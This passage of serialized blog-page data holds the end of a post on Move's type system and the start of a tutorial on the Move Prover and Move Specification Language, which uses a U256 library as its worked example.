assert",{"type":23,"tag":504,"props":7926,"children":7927},{"style":529},[7928],{"type":28,"value":2374},{"type":23,"tag":504,"props":7930,"children":7931},{"style":598},[7932],{"type":28,"value":2260},{"type":23,"tag":504,"props":7934,"children":7935},{"style":529},[7936],{"type":28,"value":7470},{"type":23,"tag":504,"props":7938,"children":7939},{"style":523},[7940],{"type":28,"value":866},{"type":23,"tag":504,"props":7942,"children":7943},{"class":506,"line":1392},[7944,7948,7952,7956,7960,7964,7968,7972],{"type":23,"tag":504,"props":7945,"children":7946},{"style":529},[7947],{"type":28,"value":7924},{"type":23,"tag":504,"props":7949,"children":7950},{"style":517},[7951],{"type":28,"value":7541},{"type":23,"tag":504,"props":7953,"children":7954},{"style":523},[7955],{"type":28,"value":526},{"type":23,"tag":504,"props":7957,"children":7958},{"style":529},[7959],{"type":28,"value":7350},{"type":23,"tag":504,"props":7961,"children":7962},{"style":523},[7963],{"type":28,"value":2064},{"type":23,"tag":504,"props":7965,"children":7966},{"style":598},[7967],{"type":28,"value":7559},{"type":23,"tag":504,"props":7969,"children":7970},{"style":529},[7971],{"type":28,"value":7470},{"type":23,"tag":504,"props":7973,"children":7974},{"style":523},[7975],{"type":28,"value":866},{"type":23,"tag":504,"props":7977,"children":7978},{"class":506,"line":1400},[7979],{"type":23,"tag":504,"props":7980,"children":7981},{"style":523},[7982],{"type":28,"value":7904},{"type":23,"tag":504,"props":7984,"children":7985},{"class":506,"line":1422},[7986],{"type":23,"tag":504,"props":7987,"children":7988},{"style":529},[7989],{"type":28,"value":7990},"      amounts_times_coins\n",{"type":23,"tag":504,"props":7992,"children":7993},{"class":506,"line":1450},[7994],{"type":23,"tag":504,"props":7995,"children":7996},{"style":523},[7997],{"type":28,"value":4855},{"type":23,"tag":504,"props":7999,"children":8000},{"class":506,"line":1463},[8001,8005,8009],{"type":23,"tag":504,"props":8002,"children":8003},{"style":529},[8004],{"type":28,"value":7128},{"type":23,"tag":504,"props":8006,"children":8007},{"style":529},[8008],{"type":28,"value":7341},{"type":23,"tag":504,"props":8010,"children":8011},{"style":523},[8012],{"type":28,"value":552},{"type":23,"tag":504,"props":8014,"children":8015},{"class":506,"line":1485},[8016,8020,8025],{"type":23,"tag":504,"props":8017,"children":8018},{"style":529},[8019],{"type":28,"value":7144},{"type":23,"tag":504,"props":8021,"children":8022},{"style":529},[8023],{"type":28,"value":8024}," opaque",{"type":23,"tag":504,"props":8026,"children":8027},{"style":523},[8028],{"type":28,"value":866},{"type":23,"tag":504,"props":8030,"children":8031},{"class":506,"line":1503},[8032,8037,8042],{"type":23,"tag":504,"props":8033,"children":8034},{"style":529},[8035],{"type":28,"value":8036},"      aborts_if",{"type":23,"tag":504,"props":8038,"children":8039},{"style":511},[8040],{"type":28,"value":8041}," false",{"type":23,"tag":504,"props":8043,"children":8044},{"style":523},[8045],{"type":28,"value":866},{"type":23,"tag":504,"props":8047,"children":8048},{"class":506,"line":1516},[8049,8053,8057,8061,8066,8070,8074,8078,8082,8086],{"type":23,"tag":504,"props":8050,"children":8051},{"style":529},[8052],{"type":28,"value":7170},{"type":23,"tag":504,"props":8054,"children":8055},{"style":517},[8056],{"type":28,"value":7541},{"type":23,"tag":504,"props":8058,"children":8059},{"style":523},[8060],{"type":28,"value":526},{"type":23,"tag":504,"props":8062,"children":8063},{"style":529},[8064],{"type":28,"value":8065},"result",{"type":23,"tag":504,"props":8067,"children":8068},{"style":523},[8069],{"type":28,"value":2064},{"type":23,"tag":504,"props":8071,"children":8072},{"style":598},[8073],{"type":28,"value":7559},{"type":23,"tag":504,"props":8075,"children":8076},{"style":517},[8077],{"type":28,"value":7541},{"type":23,"tag":504,"props":8079,"children":8080},{"style":523},[8081],{"type":28,"value":526},{"type":23,"tag":504,"props":8083,"children":8084},{"style":529},[8085],{"type":28,"value":7350},{"type":23,"tag":504,"props":8087,"children":8088},{"style":523},[8089],{"type":28,"value":630},{"type":23,"tag":504,"props":8091,"children":8092},{"class":506,"line":1543},[8093,8097,8101,8105,8109,8113,8117,8122,8126,8130,8134,8138,8143,8147,8151,8155,8159,8163,8167,8171,8175,8179,8183,8187,8191],{"type":23,"tag":504,"props":8094,"children":8095},{"style":529},[8096],{"type":28,"value":7170},{"type":23,"tag":504,"props":8098,"children":8099},{"style":529},[8100],{"type":28,"value":7602},{"type":23,"tag":504,"props":8102,"children":8103},{"style":529},[8104],{"type":28,"value":7607},{"type":23,"tag":504,"props":8106,"children":8107},{"style":511},[8108],{"type":28,"value":2018},{"type":23,"tag":504,"props":8110,"children":8111},{"style":1440},[8112],{"type":28,"value":2023},{"type":23,"tag":504,"props":8114,"children":8115},{"style":598},[8116],{"type":28,"value":2028},{"type":23,"tag":504,"props":8118,"children":8119},{"style":517},[8120],{"type":28,"value":8121},"len",{"type":23,"tag":504,"props":8123,"children":8124},{"style":523},[8125],{"type":28,"value":526},{"type":23,"tag":504,"props":8127,"children":8128},{"style":529},[8129],{"type":28,"value":7350},{"type":23,"tag":504,"props":8131,"children":8132},{"style":523},[8133],{"type":28,"value":2105},{"type":23,"tag":504,"props":8135,"children":8136},{"style":598},[8137],{"type":28,"value":3472},{"type":23,"tag":504,"props":8139,"children":8140},{"style":529},[8141],{"type":28,"value":8142}," result",{"type":23,"tag":504,"props":8144,"children":8145},{"style":523},[8146],{"type":28,"value":2711},{"type":23,"tag":504,"props":8148,"children":8149},{"style":529},[8150],{"type":28,"value":7640},{"type":23,"tag":504,"props":8152,"children":8153},{"style":523},[8154],{"type":28,"value":595},{"type":23,"tag":504,"props":8156,"children":8157},{"style":598},[8158],{"type":28,"value":7559},{"type":23,"tag":504,"props":8160,"children":8161},{"style":529},[8162],{"type":28,"value":7653},{"type":23,"tag":504,"props":8164,"children":8165},{"style":523},[8166],{"type":28,"value":2711},{"type":23,"tag":504,"props":8168,"children":8169},{"style":529},[8170],{"type":28,"value":7640},{"type":23,"tag":504,"props":8172,"children":8173},{"style":523},[8174],{"type":28,"value":595},{"type":23,"tag":504,"props":8176,"children":8177},{"style":598},[8178],{"type":28,"value":3552},{"type":23,"tag":504,"props":8180,"children":8181},{"style":517},[8182],{"type":28,"value":7541},{"type":23,"tag":504,"props":8184,"children":8185},{"style":523},[8186],{"type":28,"value":526},{"type":23,"tag":504,"props":8188,"children":8189},{"style":529},[8190],{"type":28,"value":7350},{"type":23,"tag":504,"props":8192,"children":8193},{"style":523},[8194],{"type":28,"value":630},{"type":23,"tag":504,"props":8196,"children":8197},{"class":506,"line":1583},[8198],{"type":23,"tag":504,"props":8199,"children":8200},{"style":523},[8201],{"type":28,"value":4855},{"type":23,"tag":70,"props":8203,"children":8204},{"id":4292},[8205],{"type":28,"value":4295},{"type":23,"tag":24,"props":8207,"children":8208},{},[8209],{"type":28,"value":8210},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":8212,"children":8213},{},[8214],{"type":28,"value":8215},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":8217,"children":8218},{},[8219,8221,8228],{"type":28,"value":8220},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":92,"props":8222,"children":8225},{"href":8223,"rel":8224},"https://twitter.com/notdeghost/",[96],[8226],{"type":28,"value":8227},"@notdeghost",{"type":28,"value":320},{"type":23,"tag":1815,"props":8230,"children":8231},{},[8232],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":8234},[8235,8236,8237],{"id":4741,"depth":540,"text":4744},{"id":6779,"depth":540,"text":6782},{"id":4292,"depth":540,"text":4295},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":8242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8243,"description":8244,"author":4702,"image":8245,"date":8248,"isFeatured":16,"tags":8249,"onBlogPage":16,"body":8252,"_type":1838,"_id":12593,"_source":1840,"_file":12594,"_stem":12595,"_extension":1843},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":8246,"height":8247,"width":4706},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[8250,8251],"move","tutorial",{"type":20,"children":8253,"toc":12579},[8254,8273,8285,8291,8296,8301,8306,8315,8320,8334,8339,8345,8350,8364,8369,8506,8519,8524,8545,8577,8588,8593,8598,8608,8621,8964,8978,8996,9041,9054,9073,9245,9250,9255,9280,9285,9887,9899,9911,9916,9930,9935,9948,9988,9993,10025,10030,10035,10048,10433,10460,10667,10672,10684,10921,10926,10934,10953,11301,11306,11462,11467,11474,11488,11494,11499,11504,11510,11523,11755,11761,11766,11786,12055,12060,12066,12078,12083,12097,12103,12138,12238,12259,12265,12270,12275,12527,12532,12550,12554,12559,12564,12575],{"type":23,"tag":24,"props":8255,"children":8256},{},[8257,8259,8264,8266,8271],{"type":28,"value":8258},"Formal verification -- a powerful tool for ",{"type":23,"tag":1887,"props":8260,"children":8261},{},[8262],{"type":28,"value":8263},"proving",{"type":28,"value":8265}," the correctness of your programs. How does it ",{"type":23,"tag":1887,"props":8267,"children":8268},{},[8269],{"type":28,"value":8270},"actually",{"type":28,"value":8272}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":8274,"children":8275},{},[8276,8278,8283],{"type":28,"value":8277},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":1887,"props":8279,"children":8280},{},[8281],{"type":28,"value":8282},"all",{"type":28,"value":8284}," possible inputs.",{"type":23,"tag":70,"props":8286,"children":8288},{"id":8287},"move-prover",[8289],{"type":28,"value":8290},"Move Prover",{"type":23,"tag":24,"props":8292,"children":8293},{},[8294],{"type":28,"value":8295},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":8297,"children":8298},{},[8299],{"type":28,"value":8300},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":8302,"children":8303},{},[8304],{"type":28,"value":8305},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":8307,"children":8308},{},[8309],{"type":23,"tag":126,"props":8310,"children":8314},{"alt":8311,"src":8312,"title":8313},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":8316,"children":8317},{},[8318],{"type":28,"value":8319},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":8321,"children":8322},{},[8323,8325,8332],{"type":28,"value":8324},"The model is translated into an intermediate language, called ",{"type":23,"tag":92,"props":8326,"children":8329},{"href":8327,"rel":8328},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[96],[8330],{"type":28,"value":8331},"Boogie",{"type":28,"value":8333},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":8335,"children":8336},{},[8337],{"type":28,"value":8338},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":70,"props":8340,"children":8342},{"id":8341},"move-specification-language",[8343],{"type":28,"value":8344},"Move Specification Language",{"type":23,"tag":24,"props":8346,"children":8347},{},[8348],{"type":28,"value":8349},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":8351,"children":8352},{},[8353,8355,8362],{"type":28,"value":8354},"To better understand how to use the MSL, we will use ",{"type":23,"tag":92,"props":8356,"children":8359},{"href":8357,"rel":8358},"https://github.com/pontem-network/u256",[96],[8360],{"type":28,"value":8361},"Pontem's U256 library",{"type":28,"value":8363},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":8365,"children":8366},{},[8367],{"type":28,"value":8368},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":494,"props":8370,"children":8372},{"code":8371,"language":1956,"meta":7,"className":1957,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[8373],{"type":23,"tag":56,"props":8374,"children":8375},{"__ignoreMap":7},[8376,8419,8439,8459,8479,8499],{"type":23,"tag":504,"props":8377,"children":8378},{"class":506,"line":507},[8379,8384,8388,8393,8398,8402,8407,8411,8415],{"type":23,"tag":504,"props":8380,"children":8381},{"style":511},[8382],{"type":28,"value":8383},"struct",{"type":23,"tag":504,"props":8385,"children":8386},{"style":1012},[8387],{"type":28,"value":3712},{"type":23,"tag":504,"props":8389,"children":8390},{"style":529},[8391],{"type":28,"value":8392}," has",{"type":23,"tag":504,"props":8394,"children":8395},{"style":529},[8396],{"type":28,"value":8397}," copy",{"type":23,"tag":504,"props":8399,"children":8400},{"style":523},[8401],{"type":28,"value":576},{"type":23,"tag":504,"props":8403,"children":8404},{"style":529},[8405],{"type":28,"value":8406},"drop",{"type":23,"tag":504,"props":8408,"children":8409},{"style":523},[8410],{"type":28,"value":576},{"type":23,"tag":504,"props":8412,"children":8413},{"style":529},[8414],{"type":28,"value":4924},{"type":23,"tag":504,"props":8416,"children":8417},{"style":523},[8418],{"type":28,"value":552},{"type":23,"tag":504,"props":8420,"children":8421},{"class":506,"line":540},[8422,8427,8431,8435],{"type":23,"tag":504,"props":8423,"children":8424},{"style":529},[8425],{"type":28,"value":8426},"    v0",{"type":23,"tag":504,"props":8428,"children":8429},{"style":598},[8430],{"type":28,"value":3472},{"type":23,"tag":504,"props":8432,"children":8433},{"style":1012},[8434],{"type":28,"value":4843},{"type":23,"tag":504,"props":8436,"children":8437},{"style":523},[8438],{"type":28,"value":2484},{"type":23,"tag":504,"props":8440,"children":8441},{"class":506,"line":555},[8442,8447,8451,8455],{"type":23,"tag":504,"props":8443,"children":8444},{"style":529},[8445],{"type":28,"value":8446},"    v1",{"type":23,"tag":504,"props":8448,"children":8449},{"style":598},[8450],{"type":28,"value":3472},{"type":23,"tag":504,"props":8452,"children":8453},{"style":1012},[8454],{"type":28,"value":4843},{"type":23,"tag":504,"props":8456,"children":8457},{"style":523},[8458],{"type":28,"value":2484},{"type":23,"tag":504,"props":8460,"children":8461},{"class":506,"line":633},[8462,8467,8471,8475],{"type":23,"tag":504,"props":8463,"children":8464},{"style":529},[8465],{"type":28,"value":8466},"    v2",{"type":23,"tag":504,"props":8468,"children":8469},{"style":598},[8470],{"type":28,"value":3472},{"type":23,"tag":504,"props":8472,"children":8473},{"style":1012},[8474],{"type":28,"value":4843},{"type":23,"tag":504,"props":8476,"children":8477},{"style":523},[8478],{"type":28,"value":2484},{"type":23,"tag":504,"props":8480,"children":8481},{"class":506,"line":687},[8482,8487,8491,8495],{"type":23,"tag":504,"props":8483,"children":8484},{"style":529},[8485],{"type":28,"value":8486},"    v3",{"type":23,"tag":504,"props":8488,"children":8489},{"style":598},[8490],{"type":28,"value":3472},{"type":23,"tag":504,"props":8492,"children":8493},{"style":1012},[8494],{"type":28,"value":4843},{"type":23,"tag":504,"props":8496,"children":8497},{"style":523},[8498],{"type":28,"value":2484},{"type":23,"tag":504,"props":8500,"children":8501},{"class":506,"line":736},[8502],{"type":23,"tag":504,"props":8503,"children":8504},{"style":523},[8505],{"type":28,"value":884},{"type":23,"tag":24,"props":8507,"children":8508},{},[8509,8511,8517],{"type":28,"value":8510},"Now, let's consider the ",{"type":23,"tag":56,"props":8512,"children":8514},{"className":8513},[],[8515],{"type":28,"value":8516},"add(a: U256, b: U256): U256",{"type":28,"value":8518}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":8520,"children":8521},{},[8522],{"type":28,"value":8523},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":8525,"children":8526},{},[8527,8529,8535,8537,8544],{"type":28,"value":8528},"For example, if your file is ",{"type":23,"tag":56,"props":8530,"children":8532},{"className":8531},[],[8533],{"type":28,"value":8534},"sources/u256.move",{"type":28,"value":8536},", you can put specifications in ",{"type":23,"tag":92,"props":8538,"children":8541},{"href":8539,"rel":8540},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[96],[8542],{"type":28,"value":8543},"sources/u256.spec.move",{"type":28,"value":320},{"type":23,"tag":494,"props":8546,"children":8548},{"code":8547,"language":1956,"meta":7,"className":1957,"style":7},"spec add { ... }\n",[8549],{"type":23,"tag":56,"props":8550,"children":8551},{"__ignoreMap":7},[8552],{"type":23,"tag":504,"props":8553,"children":8554},{"class":506,"line":507},[8555,8559,8564,8568,8573],{"type":23,"tag":504,"props":8556,"children":8557},{"style":529},[8558],{"type":28,"value":7258},{"type":23,"tag":504,"props":8560,"children":8561},{"style":529},[8562],{"type":28,"value":8563}," add",{"type":23,"tag":504,"props":8565,"children":8566},{"style":523},[8567],{"type":28,"value":747},{"type":23,"tag":504,"props":8569,"children":8570},{"style":598},[8571],{"type":28,"value":8572},"...",{"type":23,"tag":504,"props":8574,"children":8575},{"style":523},[8576],{"type":28,"value":1652},{"type":23,"tag":24,"props":8578,"children":8579},{},[8580,8582,8587],{"type":28,"value":8581},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":1887,"props":8583,"children":8584},{},[8585],{"type":28,"value":8586},"Expressions",{"type":28,"value":320},{"type":23,"tag":82,"props":8589,"children":8591},{"id":8590},"expressions",[8592],{"type":28,"value":8586},{"type":23,"tag":24,"props":8594,"children":8595},{},[8596],{"type":28,"value":8597},"Let's go over some common expressions.",{"type":23,"tag":24,"props":8599,"children":8600},{},[8601,8606],{"type":23,"tag":56,"props":8602,"children":8604},{"className":8603},[],[8605],{"type":28,"value":7308},{"type":28,"value":8607}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":8609,"children":8610},{},[8611,8613,8619],{"type":28,"value":8612},"For example, the ",{"type":23,"tag":56,"props":8614,"children":8616},{"className":8615},[],[8617],{"type":28,"value":8618},"add",{"type":28,"value":8620}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":494,"props":8622,"children":8624},{"code":8623,"language":1956,"meta":7,"className":1957,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[8625],{"type":23,"tag":56,"props":8626,"children":8627},{"__ignoreMap":7},[8628,8662,8669,8718,8740,8769,8806,8847,8854,8861,8876,8957],{"type":23,"tag":504,"props":8629,"children":8630},{"class":506,"line":507},[8631,8636,8641,8645,8649,8653,8658],{"type":23,"tag":504,"props":8632,"children":8633},{"style":511},[8634],{"type":28,"value":8635},"const",{"type":23,"tag":504,"props":8637,"children":8638},{"style":523},[8639],{"type":28,"value":8640}," P64",{"type":23,"tag":504,"props":8642,"children":8643},{"style":598},[8644],{"type":28,"value":3472},{"type":23,"tag":504,"props":8646,"children":8647},{"style":1012},[8648],{"type":28,"value":7830},{"type":23,"tag":504,"props":8650,"children":8651},{"style":598},[8652],{"type":28,"value":648},{"type":23,"tag":504,"props":8654,"children":8655},{"style":1440},[8656],{"type":28,"value":8657}," 0x10000000000000000",{"type":23,"tag":504,"props":8659,"children":8660},{"style":523},[8661],{"type":28,"value":866},{"type":23,"tag":504,"props":8663,"children":8664},{"class":506,"line":540},[8665],{"type":23,"tag":504,"props":8666,"children":8667},{"emptyLinePlaceholder":16},[8668],{"type":28,"value":1038},{"type":23,"tag":504,"props":8670,"children":8671},{"class":506,"line":555},[8672,8676,8680,8685,8689,8693,8697,8701,8705,8709,8714],{"type":23,"tag":504,"props":8673,"children":8674},{"style":529},[8675],{"type":28,"value":7258},{"type":23,"tag":504,"props":8677,"children":8678},{"style":529},[8679],{"type":28,"value":1051},{"type":23,"tag":504,"props":8681,"children":8682},{"style":517},[8683],{"type":28,"value":8684}," value_of_U256",{"type":23,"tag":504,"props":8686,"children":8687},{"style":523},[8688],{"type":28,"value":526},{"type":23,"tag":504,"props":8690,"children":8691},{"style":529},[8692],{"type":28,"value":92},{"type":23,"tag":504,"props":8694,"children":8695},{"style":598},[8696],{"type":28,"value":3472},{"type":23,"tag":504,"props":8698,"children":8699},{"style":1012},[8700],{"type":28,"value":3712},{"type":23,"tag":504,"props":8702,"children":8703},{"style":523},[8704],{"type":28,"value":2105},{"type":23,"tag":504,"props":8706,"children":8707},{"style":598},[8708],{"type":28,"value":3472},{"type":23,"tag":504,"props":8710,"children":8711},{"style":529},[8712],{"type":28,"value":8713}," num",{"type":23,"tag":504,"props":8715,"children":8716},{"style":523},[8717],{"type":28,"value":552},{"type":23,"tag":504,"props":8719,"children":8720},{"class":506,"line":633},[8721,8726,8730,8735],{"type":23,"tag":504,"props":8722,"children":8723},{"style":529},[8724],{"type":28,"value":8725},"    a",{"type":23,"tag":504,"props":8727,"children":8728},{"style":598},[8729],{"type":28,"value":320},{"type":23,"tag":504,"props":8731,"children":8732},{"style":523},[8733],{"type":28,"value":8734},"v0 ",{"type":23,"tag":504,"props":8736,"children":8737},{"style":598},[8738],{"type":28,"value":8739},"+\n",{"type":23,"tag":504,"props":8741,"children":8742},{"class":506,"line":687},[8743,8747,8751,8756,8760,8764],{"type":23,"tag":504,"props":8744,"children":8745},{"style":529},[8746],{"type":28,"value":8725},{"type":23,"tag":504,"props":8748,"children":8749},{"style":598},[8750],{"type":28,"value":320},{"type":23,"tag":504,"props":8752,"children":8753},{"style":523},[8754],{"type":28,"value":8755},"v1 ",{"type":23,"tag":504,"props":8757,"children":8758},{"style":598},[8759],{"type":28,"value":3552},{"type":23,"tag":504,"props":8761,"children":8762},{"style":1012},[8763],{"type":28,"value":8640},{"type":23,"tag":504,"props":8765,"children":8766},{"style":598},[8767],{"type":28,"value":8768}," +\n",{"type":23,"tag":504,"props":8770,"children":8771},{"class":506,"line":736},[8772,8776,8780,8785,8789,8793,8798,8802],{"type":23,"tag":504,"props":8773,"children":8774},{"style":529},[8775],{"type":28,"value":8725},{"type":23,"tag":504,"props":8777,"children":8778},{"style":598},[8779],{"type":28,"value":320},{"type":23,"tag":504,"props":8781,"children":8782},{"style":523},[8783],{"type":28,"value":8784},"v2 ",{"type":23,"tag":504,"props":8786,"children":8787},{"style":598},[8788],{"type":28,"value":3552},{"type":23,"tag":504,"props":8790,"children":8791},{"style":1012},[8792],{"type":28,"value":8640},{"type":23,"tag":504,"props":8794,"children":8795},{"style":598},[8796],{"type":28,"value":8797}," *",{"type":23,"tag":504,"props":8799,"children":8800},{"style":1012},[8801],{"type":28,"value":8640},{"type":23,"tag":504,"props":8803,"children":8804},{"style":598},[8805],{"type":28,"value":8768},{"type":23,"tag":504,"props":8807,"children":8808},{"class":506,"line":785},[8809,8813,8817,8822,8826,8830,8834,8838,8842],{"type":23,"tag":504,"props":8810,"children":8811},{"style":529},[8812],{"type":28,"value":8725},{"type":23,"tag":504,"props":8814,"children":8815},{"style":598},[8816],{"type":28,"value":320},{"type":23,"tag":504,"props":8818,"children":8819},{"style":523},[8820],{"type":28,"value":8821},"v3 ",{"type":23,"tag":504,"props":8823,"children":8824},{"style":598},[8825],{"type":28,"value":3552},{"type":23,"tag":504,"props":8827,"children":8828},{"style":1012},[8829],{"type":28,"value":8640},{"type":23,"tag":504,"props":8831,"children":8832},{"style":598},[8833],{"type":28,"value":8797},{"type":23,"tag":504,"props":8835,"children":8836},{"style":1012},[8837],{"type":28,"value":8640},{"type":23,"tag":504,"props":8839,"children":8840},{"style":598},[8841],{"type":28,"value":8797},{"type":23,"tag":504,"props":8843,"children":8844},{"style":1012},[8845],{"type":28,"value":8846}," P64\n",{"type":23,"tag":504,"props":8848,"children":8849},{"class":506,"line":813},[8850],{"type":23,"tag":504,"props":8851,"children":8852},{"style":523},[8853],{"type":28,"value":884},{"type":23,"tag":504,"props":8855,"children":8856},{"class":506,"line":851},[8857],{"type":23,"tag":504,"props":8858,"children":8859},{"emptyLinePlaceholder":16},[8860],{"type":28,"value":1038},{"type":23,"tag":504,"props":8862,"children":8863},{"class":506,"line":869},[8864,8868,8872],{"type":23,"tag":504,"props":8865,"children":8866},{"style":529},[8867],{"type":28,"value":7258},{"type":23,"tag":504,"props":8869,"children":8870},{"style":529},[8871],{"type":28,"value":8563},{"type":23,"tag":504,"props":8873,"children":8874},{"style":523},[8875],{"type":28,"value":552},{"type":23,"tag":504,"props":8877,"children":8878},{"class":506,"line":878},[8879,8884,8888,8892,8896,8900,8904,8908,8912,8916,8920,8925,8929,8933,8937,8941,8945,8949,8953],{"type":23,"tag":504,"props":8880,"children":8881},{"style":529},[8882],{"type":28,"value":8883},"    aborts_if",{"type":23,"tag":504,"props":8885,"children":8886},{"style":517},[8887],{"type":28,"value":8684},{"type":23,"tag":504,"props":8889,"children":8890},{"style":523},[8891],{"type":28,"value":526},{"type":23,"tag":504,"props":8893,"children":8894},{"style":529},[8895],{"type":28,"value":92},{"type":23,"tag":504,"props":8897,"children":8898},{"style":523},[8899],{"type":28,"value":2064},{"type":23,"tag":504,"props":8901,"children":8902},{"style":598},[8903],{"type":28,"value":1642},{"type":23,"tag":504,"props":8905,"children":8906},{"style":517},[8907],{"type":28,"value":8684},{"type":23,"tag":504,"props":8909,"children":8910},{"style":523},[8911],{"type":28,"value":526},{"type":23,"tag":504,"props":8913,"children":8914},{"style":529},[8915],{"type":28,"value":2200},{"type":23,"tag":504,"props":8917,"children":8918},{"style":523},[8919],{"type":28,"value":2064},{"type":23,"tag":504,"props":8921,"children":8922},{"style":598},[8923],{"type":28,"value":8924},">=",{"type":23,"tag":504,"props":8926,"children":8927},{"style":1012},[8928],{"type":28,"value":8640},{"type":23,"tag":504,"props":8930,"children":8931},{"style":598},[8932],{"type":28,"value":8797},{"type":23,"tag":504,"props":8934,"children":8935},{"style":1012},[8936],{"type":28,"value":8640},{"type":23,"tag":504,"props":8938,"children":8939},{"style":598},[8940],{"type":28,"value":8797},{"type":23,"tag":504,"props":8942,"children":8943},{"style":1012},[8944],{"type":28,"value":8640},{"type":23,"tag":504,"props":8946,"children":8947},{"style":598},[8948],{"type":28,"value":8797},{"type":23,"tag":504,"props":8950,"children":8951},{"style":1012},[8952],{"type":28,"value":8640},{"type":23,"tag":504,"props":8954,"children":8955},{"style":523},[8956],{"type":28,"value":866},{"type":23,"tag":504,"props":8958,"children":8959},{"class":506,"line":1221},[8960],{"type":23,"tag":504,"props":8961,"children":8962},{"style":523},[8963],{"type":28,"value":884},{"type":23,"tag":24,"props":8965,"children":8966},{},[8967,8969,8976],{"type":28,"value":8968},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":92,"props":8970,"children":8973},{"href":8971,"rel":8972},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[96],[8974],{"type":28,"value":8975},"MSL function",{"type":28,"value":8977},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":8979,"children":8980},{},[8981,8983,8988,8989,8994],{"type":28,"value":8982},"A common pattern for ",{"type":23,"tag":56,"props":8984,"children":8986},{"className":8985},[],[8987],{"type":28,"value":7308},{"type":28,"value":4483},{"type":23,"tag":56,"props":8990,"children":8992},{"className":8991},[],[8993],{"type":28,"value":7316},{"type":28,"value":8995},", which lets you prove that a function will never abort.",{"type":23,"tag":494,"props":8997,"children":8999},{"code":8998,"language":1956,"meta":7,"className":1957,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[9000],{"type":23,"tag":56,"props":9001,"children":9002},{"__ignoreMap":7},[9003,9019,9034],{"type":23,"tag":504,"props":9004,"children":9005},{"class":506,"line":507},[9006,9010,9015],{"type":23,"tag":504,"props":9007,"children":9008},{"style":529},[9009],{"type":28,"value":7258},{"type":23,"tag":504,"props":9011,"children":9012},{"style":529},[9013],{"type":28,"value":9014}," critical_function",{"type":23,"tag":504,"props":9016,"children":9017},{"style":523},[9018],{"type":28,"value":552},{"type":23,"tag":504,"props":9020,"children":9021},{"class":506,"line":540},[9022,9026,9030],{"type":23,"tag":504,"props":9023,"children":9024},{"style":529},[9025],{"type":28,"value":8883},{"type":23,"tag":504,"props":9027,"children":9028},{"style":511},[9029],{"type":28,"value":8041},{"type":23,"tag":504,"props":9031,"children":9032},{"style":523},[9033],{"type":28,"value":866},{"type":23,"tag":504,"props":9035,"children":9036},{"class":506,"line":555},[9037],{"type":23,"tag":504,"props":9038,"children":9039},{"style":523},[9040],{"type":28,"value":884},{"type":23,"tag":24,"props":9042,"children":9043},{},[9044,9046,9052],{"type":28,"value":9045},"Another type of expression that we can use is ",{"type":23,"tag":56,"props":9047,"children":9049},{"className":9048},[],[9050],{"type":28,"value":9051},"ensures",{"type":28,"value":9053},". As the name suggests, it ensures that a certain condition is true at the end of a function's 